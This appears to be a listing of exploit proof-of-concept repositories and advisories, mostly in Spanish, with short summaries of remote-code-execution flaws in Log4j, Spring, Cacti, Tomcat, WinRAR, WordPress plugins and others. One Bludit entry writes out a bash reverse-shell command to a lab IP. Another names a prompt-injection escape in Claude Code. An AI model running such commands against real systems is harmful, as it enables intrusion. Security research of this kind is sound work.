CVE-2020-8840

CVE-2020-8840 Código del entorno de reproducción y análisis de la vulnerabilidad de ejecución remota de código en Jackson-databind CVE-2020-8840. El proyecto incluye: jackson-databind, Fastjson payloads Clase maliciosa WebServer marshalsec-0.0.3-SNAPSHOT-all.jar compilado Resumen de la...

CVE-2018-8174

CVE-2018-8174 RCE en MS Word y MS WordPad mediante el motor VBS de IE RCE en MS Word y MS WordPad a través de la RCE de VBS de IE https://github.com/smgorelik/Windows-RCE-exploits/tree/master/Web/VBScript Guarda el index.html en el servidor web luego usa el script de Python para generar el exploi...

log4j-shell-csw

Log4j Exploit Simple Un Exploit de Prueba de Concepto para la vulnerabilidad CVE-2021-44228. Log4j, que se utiliza para registrar información de seguridad y rendimiento, afecta a más de 3 mil millones de dispositivos que usan Java en una variedad de servicios, sitios web y aplicaciones de consumo...

EUVD-2026-88213

ManageEngine DDI Central versions below 6201 are vulnerable to PowerShell command injection in Windows DNS SPF/TXT record push leading to remote code execution...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...

CVE-2022-34718-PoC

Ejemplo de exploit de ejecución remota de código de CVE-2022-34718 en IPv6 Este repositorio contiene un exploit de CVE-2022-34718, una vulnerabilidad de ejecución remota de código RCE en IPv6 en sistemas Windows. Cómo usar Dado que la vulnerabilidad requiere paquetes IPv6 especialmente diseñados,...

CVE-2022-46169

Vulnerabilidad de ejecución remota de comandos en Cacti remoteagent.php CVE-2022-46169 Descripción de la vulnerabilidad Cacti es una plataforma de monitoreo y gestión de servidores. En sus versiones 1.2.17-1.2.22 existe una vulnerabilidad de inyección de comandos que permite a un atacante omitir ...

EUVD-2026-88212

A Deserialization of Untrusted Data vulnerability in the JavaScript Task in Google Cloud Application Integration versions prior to 2026-06-28 on Google Cloud Platform allows an authenticated user with standard permissions to run arbitrary code on the shared production servers using a specially...

CVE-2026-81867

A Deserialization of Untrusted Data vulnerability exists in the JavaScript Task of Google Cloud Application Integration (versions prior to 2026-06-28). An authenticated user with standard permissions can execute arbitrary code on shared production servers by using a specially crafted script that ...

CVE-2026-81867 Deserialization of Untrusted Data in Application Integration allows Remote Code Execution

A Deserialization of Untrusted Data vulnerability in the JavaScript Task in Google Cloud Application Integration versions prior to 2026-06-28 on Google Cloud Platform allows an authenticated user with standard permissions to run arbitrary code on the shared production servers using a specially...

spring-core-rce

spring-core-rce explotación simple de spring core rce Se puede usar el war https://github.com/fengguangbin/spring-rce-war Se puede usar el entorno docker https://github.com/lunasec-io/Spring4Shell-POC También se puede usar el entorno en línea de vulfocus http://vulfocus.io/ o el laboratorio de...

write-ups

write-ups RCE in Github Desktop v2.9.4 RCE via gh run download GitHub CLI Claude Code: unsandboxed code execution from prompt injection via .git worktree confusion — CVE-2026-55607...

CVE-2021-27876

CVE-2021-27876 Unauthenticated RCE exploit for Veritas Backup Exec Agent CVE-2021-27876/77/78 — SHA auth bypass to SYSTEM via NDMP CVEs CVE| Description| CVSS 3.1 ---|---|--- CVE-2021-27876| Authentication bypass via SHA hash manipulation in the NDMP protocol| 9.8 Critical CVE-2021-27877|...

CVE-2025-59528-PoC

CVE-2025-59528 PoC Script de prueba de concepto en Python para desencadenar la ruta RCE CustomMCP de Flowise a través de POST /api/v1/node-load-method/customMCP. ⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no posee o para los...

CVE-2025-6218-POC

RARLAB WinRAR Directory Traversal Remote Code Execution Vulnerability. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de RARLAB WinRAR. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que la víctima debe visitar una...

CVE-2020-1938-Exploitation

Explotación de CVE-2020-1938 Subida arbitraria de JSP en Apache Tomcat que conduce a RCE Descripción CVE-2020-1938 es una vulnerabilidad crítica que afecta a Apache Tomcat desde 9.0.0.M1 hasta 9.0.0.30, 8.5.0 hasta 8.5.50 y 7.0.0 hasta 7.0.99 ⚠️ Esto fue explotado en un laboratorio de Hack The Box...

monitorr-exploit-toolkit

Monitorr exploit toolkit RCE via unsecure file upload PHP reverse shell, webshell, etc. Administrator account creation via Authorization bypass Technical information leakage : Monitorr version, PHP version, System version & kernel, PHP config, etc. Exploit for CVE-2020-28872 and CVE-2020-28871...

CVE-2026-54420

CVE-2026-54420 LiteSpeed cPanel ⚡ Uso Simple Utilice este proyecto únicamente en entornos seguros y autorizados, tales como: Máquinas virtuales locales Contenedores Docker Configuraciones de laboratorio aisladas Entornos de pruebas de penetración autorizados Configuración de ejemplo: root@kitploi...

CVE-2018-19422-SubrionCMS-RCE

CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 Authenticated Remote Code Execution /panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these. Exploit Usage Commands: Windows/Linux: $ sudo python3...

CVE-2024-5084

Wordpress Hash Form – Drag & Drop Form Builder = 1.1.0 - Subida Arbitraria de Archivos No Autenticada que Permite Ejecución Remota de Código CVE-2024-5084 El plugin Hash Form – Drag & Drop Form Builder para WordPress es vulnerable a la subida arbitraria de archivos debido a la falta de validación...